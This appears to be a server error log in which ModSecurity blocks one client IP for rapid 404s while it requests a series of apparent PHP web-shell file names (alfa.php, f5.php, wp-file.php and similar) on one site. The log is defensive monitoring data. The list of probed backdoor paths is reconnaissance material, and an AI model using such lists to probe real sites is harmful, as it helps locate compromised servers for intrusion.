[Sat May 16 10:37:53.119676 2026] [:error] [pid 24874:tid 24941] [client 20.151.206.3:27431] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "agfYgciii6x3XidYGHHG2wAAAIY"]
[Sat May 16 10:37:53.536181 2026] [:error] [pid 61463:tid 61475] [client 20.151.206.3:27267] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "agfYgTXdL1WU7nYXPmTZggAAAco"]
[Sat May 16 10:37:53.952374 2026] [:error] [pid 61463:tid 61467] [client 20.151.206.3:27453] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "agfYgTXdL1WU7nYXPmTZhAAAAcI"]
[Sat May 16 10:37:54.363278 2026] [:error] [pid 61411:tid 61421] [client 20.151.206.3:27424] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "agfYgmVkiEwGnPL_dvHJXwAAAYg"]
[Sat May 16 10:37:54.781043 2026] [:error] [pid 5602:tid 5607] [client 20.151.206.3:27422] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "agfYgtzTTsu77r3UIskOMQAAAQM"]
[Sat May 16 10:37:55.206336 2026] [:error] [pid 5602:tid 5608] [client 20.151.206.3:27440] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "agfYg9zTTsu77r3UIskOMwAAAQQ"]
[Sat May 16 10:37:55.623773 2026] [:error] [pid 62341:tid 62352] [client 20.151.206.3:27392] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "agfYg6nvQ59ep-XG78iLmwAAAoY"]
[Sat May 16 10:37:56.037324 2026] [:error] [pid 62341:tid 62360] [client 20.151.206.3:27115] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son1.php"] [unique_id "agfYhKnvQ59ep-XG78iLnQAAAo4"]
[Sat May 16 10:37:56.450354 2026] [:error] [pid 61411:tid 61425] [client 20.151.206.3:27515] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son1.php"] [unique_id "agfYhGVkiEwGnPL_dvHJYQAAAYw"]
[Sat May 16 10:37:56.866785 2026] [:error] [pid 61411:tid 61436] [client 20.151.206.3:27401] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son1.php"] [unique_id "agfYhGVkiEwGnPL_dvHJYwAAAZc"]
[Sat May 16 10:37:57.280394 2026] [:error] [pid 61411:tid 61430] [client 20.151.206.3:27512] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son1.php"] [unique_id "agfYhWVkiEwGnPL_dvHJZAAAAZE"]
[Sat May 16 10:37:57.703849 2026] [:error] [pid 5602:tid 5614] [client 20.151.206.3:27335] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "agfYhdzTTsu77r3UIskONwAAAQo"]
[Sat May 16 10:37:58.128077 2026] [:error] [pid 61411:tid 61427] [client 20.151.206.3:27096] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "agfYhmVkiEwGnPL_dvHJaQAAAY4"]
[Sat May 16 10:37:58.547090 2026] [:error] [pid 5602:tid 5628] [client 20.151.206.3:27442] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "agfYhtzTTsu77r3UIskOOgAAARg"]
[Sat May 16 10:37:58.971732 2026] [:error] [pid 24869:tid 24911] [client 20.151.206.3:27329] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "agfYhuxo3FMprMltYl4iPwAAAEM"]
[Sat May 16 10:37:59.389515 2026] [:error] [pid 5602:tid 5615] [client 20.151.206.3:27338] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amxloxxr.php"] [unique_id "agfYh9zTTsu77r3UIskOPAAAAQs"]
[Sat May 16 10:37:59.806892 2026] [:error] [pid 61361:tid 61383] [client 20.151.206.3:27396] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amxloxxr.php"] [unique_id "agfYh5Zojzbt3jGziNkGpQAAAVQ"]
[Sat May 16 10:38:12.065940 2026] [:error] [pid 24869:tid 24917] [client 20.151.206.3:27128] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "agfYlOxo3FMprMltYl4iTgAAAEk"]
[Sat May 16 10:38:12.486968 2026] [:error] [pid 61361:tid 61387] [client 20.151.206.3:27091] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "agfYlJZojzbt3jGziNkG1QAAAVg"]
[Sat May 16 10:38:12.902770 2026] [:error] [pid 61361:tid 61372] [client 20.151.206.3:27373] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "agfYlJZojzbt3jGziNkG2QAAAUk"]
[Sat May 16 10:38:13.325896 2026] [:error] [pid 62210:tid 62226] [client 20.151.206.3:27135] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "agfYlcjHonCA4ORo40GwlQAAAk4"]
[Sat May 16 10:38:13.747033 2026] [:error] [pid 61463:tid 61476] [client 20.151.206.3:27133] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "agfYlTXdL1WU7nYXPmTZhQAAAcs"]
[Sat May 16 10:38:14.165806 2026] [:error] [pid 24979:tid 24988] [client 20.151.206.3:27123] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "agfYlrvSFUQiwLaOL2pjdgAAAMc"]
[Sat May 16 10:38:14.582574 2026] [:error] [pid 62341:tid 62368] [client 20.151.206.3:27122] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "agfYlqnvQ59ep-XG78iLpgAAApY"]
[Sat May 16 10:38:15.005206 2026] [:error] [pid 62341:tid 62350] [client 20.151.206.3:27449] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "agfYl6nvQ59ep-XG78iLpwAAAoQ"]
[Sat May 16 10:38:15.419975 2026] [:error] [pid 24979:tid 25002] [client 20.151.206.3:27355] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agfYl7vSFUQiwLaOL2pjdwAAANU"]
[Sat May 16 10:38:15.836896 2026] [:error] [pid 24867:tid 24893] [client 20.151.206.3:27423] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agfYlyDgFLCgyKq-zmYJ2QAAAAw"]
[Sat May 16 10:38:16.261013 2026] [:error] [pid 61411:tid 61437] [client 20.151.206.3:27419] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agfYmGVkiEwGnPL_dvHJbgAAAZg"]
[Sat May 16 10:38:16.675167 2026] [:error] [pid 24979:tid 24990] [client 20.151.206.3:27437] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agfYmLvSFUQiwLaOL2pjeAAAAMk"]
[Sat May 16 10:38:17.090978 2026] [:error] [pid 24874:tid 24955] [client 20.151.206.3:27104] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "agfYmciii6x3XidYGHHG3wAAAJQ"]
[Sat May 16 10:38:17.506286 2026] [:error] [pid 24874:tid 24937] [client 20.151.206.3:27351] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "agfYmciii6x3XidYGHHG4AAAAII"]
[Sat May 16 10:38:17.929748 2026] [:error] [pid 61463:tid 61477] [client 20.151.206.3:27394] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "agfYmTXdL1WU7nYXPmTZigAAAcw"]
[Sat May 16 10:38:18.348202 2026] [:error] [pid 24979:tid 24987] [client 20.151.206.3:27264] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "agfYmrvSFUQiwLaOL2pjfAAAAMY"]
[Sat May 16 10:38:18.764611 2026] [:error] [pid 24979:tid 24997] [client 20.151.206.3:27469] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "agfYmrvSFUQiwLaOL2pjfgAAANA"]
[Sat May 16 10:38:19.201291 2026] [:error] [pid 24867:tid 24884] [client 20.151.206.3:27399] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "agfYmyDgFLCgyKq-zmYJ2wAAAAM"]
[Sat May 16 10:38:19.614968 2026] [:error] [pid 62341:tid 62369] [client 20.151.206.3:27400] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "agfYm6nvQ59ep-XG78iLuQAAApc"]
[Sat May 16 10:38:20.049753 2026] [:error] [pid 24867:tid 24899] [client 20.151.206.3:27439] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "agfYnCDgFLCgyKq-zmYJ3AAAABI"]
[Sat May 16 10:38:20.472808 2026] [:error] [pid 24874:tid 24936] [client 20.151.206.3:27127] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "agfYnMiii6x3XidYGHHG4QAAAIE"]
[Sat May 16 10:38:20.894677 2026] [:error] [pid 24869:tid 24908] [client 20.151.206.3:27284] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "agfYnOxo3FMprMltYl4iTwAAAEA"]
[Sat May 16 10:38:21.320946 2026] [:error] [pid 24869:tid 24916] [client 20.151.206.3:27451] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "agfYnexo3FMprMltYl4iUAAAAEg"]
[Sat May 16 10:38:21.743134 2026] [:error] [pid 62210:tid 62229] [client 20.151.206.3:27121] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "agfYncjHonCA4ORo40GwlgAAAlE"]
[Sat May 16 10:38:22.160921 2026] [:error] [pid 61411:tid 61419] [client 20.151.206.3:27382] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "agfYnmVkiEwGnPL_dvHJcAAAAYY"]
[Sat May 16 10:38:22.574751 2026] [:error] [pid 61361:tid 61373] [client 20.151.206.3:27343] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "agfYnpZojzbt3jGziNkG5wAAAUo"]
[Sat May 16 10:38:22.988035 2026] [:error] [pid 24874:tid 24956] [client 20.151.206.3:27130] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "agfYnsiii6x3XidYGHHG4gAAAJU"]
[Sat May 16 10:38:23.417134 2026] [:error] [pid 24979:tid 24994] [client 20.151.206.3:27342] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "agfYn7vSFUQiwLaOL2pjhAAAAM0"]
[Sat May 16 10:38:23.836836 2026] [:error] [pid 24867:tid 24901] [client 20.151.206.3:27438] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-theme.php"] [unique_id "agfYnyDgFLCgyKq-zmYJ4AAAABQ"]
[Sat May 16 10:38:24.264585 2026] [:error] [pid 61463:tid 61485] [client 20.151.206.3:27372] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-theme.php"] [unique_id "agfYoDXdL1WU7nYXPmTZjAAAAdQ"]
[Sat May 16 10:38:24.685061 2026] [:error] [pid 24869:tid 24918] [client 20.151.206.3:27379] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-theme.php"] [unique_id "agfYoOxo3FMprMltYl4iVQAAAEo"]
[Sat May 16 10:38:25.099278 2026] [:error] [pid 62210:tid 62214] [client 20.151.206.3:27483] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-theme.php"] [unique_id "agfYocjHonCA4ORo40GwmAAAAkI"]
[Sat May 16 10:38:25.514905 2026] [:error] [pid 24979:tid 24981] [client 20.151.206.3:27321] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-file.php"] [unique_id "agfYobvSFUQiwLaOL2pjhgAAAMA"]
[Sat May 16 10:38:25.928408 2026] [:error] [pid 62210:tid 62221] [client 20.151.206.3:27363] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-file.php"] [unique_id "agfYocjHonCA4ORo40GwmgAAAkk"]
[Sat May 16 10:38:26.351918 2026] [:error] [pid 61361:tid 61387] [client 20.151.206.3:27357] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-file.php"] [unique_id "agfYopZojzbt3jGziNkG6gAAAVg"]
[Sat May 16 10:38:26.780119 2026] [:error] [pid 62210:tid 62228] [client 20.151.206.3:27374] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-file.php"] [unique_id "agfYosjHonCA4ORo40GwmwAAAlA"]
[Sat May 16 10:38:27.200290 2026] [:error] [pid 61463:tid 61487] [client 20.151.206.3:27305] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "agfYozXdL1WU7nYXPmTZkAAAAdY"]
[Sat May 16 10:38:27.619909 2026] [:error] [pid 24979:tid 24990] [client 20.151.206.3:27481] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "agfYo7vSFUQiwLaOL2pjigAAAMk"]
[Sat May 16 10:38:28.042033 2026] [:error] [pid 24979:tid 25004] [client 20.151.206.3:27366] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "agfYpLvSFUQiwLaOL2pjjAAAANc"]
[Sat May 16 10:38:28.460706 2026] [:error] [pid 61361:tid 61364] [client 20.151.206.3:27430] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "agfYpJZojzbt3jGziNkG8gAAAUE"]
